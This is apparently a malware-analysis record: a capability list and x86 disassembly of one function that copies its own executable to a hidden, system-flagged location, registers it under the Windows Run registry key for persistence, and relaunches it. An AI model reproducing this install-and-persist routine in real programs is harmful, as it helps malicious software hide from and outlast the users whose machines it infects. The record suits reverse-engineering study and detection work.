Function at 0x407b90
Capabilities:
Check if file exists
Check os version
Create process on windows
Create thread
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call fcn.0042051a
add esp, 4
push eax
call fcn.004203e6
add esp, 4
call fcn.00401300
mov edi, eax
push edi
mov dword [ebp - 0x1ac], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x407bf9
push edi
call fcn.0042228d
add esp, 4
push edi
call fcn.00402100
add esp, 4
push 0
push edi
call fcn.00407880
add esp, 8
push 6
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401420
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407c2f
push esi
call fcn.004218d4
add esp, 4
cmp byte [0x442b24], 0
jne 0x407c44
call fcn.00401040
mov byte [0x442b24], 1
mov ecx, dword [0x442b58]
mov eax, dword [ecx + 0x98]
push eax
lea eax, [ebp - 0x110]
call fcn.00404ef0
add esp, 4
test al, al
je 0x407c97
cmp byte [0x442b24], 0
jne 0x407c78
call fcn.00401040
mov byte [0x442b24], 1
mov edx, dword [0x442b58]
mov ecx, dword [edx + 0x98]
push 1
push esi
lea eax, [ebp - 0x110]
call fcn.004051a0
add esp, 8
jmp 0x407ca6
push esi
lea eax, [ebp - 0x110]
call fcn.00402070
add esp, 4
push esi
call fcn.00404c00
add esp, 4
push esi
call fcn.00402100
add esp, 4
push 6
push esi
call ebx
lea eax, [ebp - 0x1a8]
push eax
mov dword [ebp - 0x1a8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x1a4], 6
jb 0x407cf4
push 0
push 0
push 0
push 0x407b60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x407d63
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407d00
sub eax, edx
mov edi, eax
call fcn.00401840
push 0
lea ecx, [ebp - 0x1b0]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 0x1b0]
test eax, eax
je 0x407d5d
push edi
push esi
push 1
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x1ac]
mov ecx, esi
lea eax, [ebp - 0x110]
jmp 0x407d70
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407d90
test dl, dl
je 0x407d8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407d90
add eax, 2
add ecx, 2
test dl, dl
jne 0x407d70
xor eax, eax
jmp 0x407d95
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x407de4
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407de4
mov eax, dword [0x442b1c]
test eax, eax
je 0x407db4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0
push 0x43b588
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
call fcn.004203db
add esp, 4
push esi
call fcn.004203db
add esp, 4
push 0
call fcn.00422225
push edi
call fcn.004203db
add esp, 4
push esi
call fcn.004203db
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fc56
mov esp, ebp
pop ebp
ret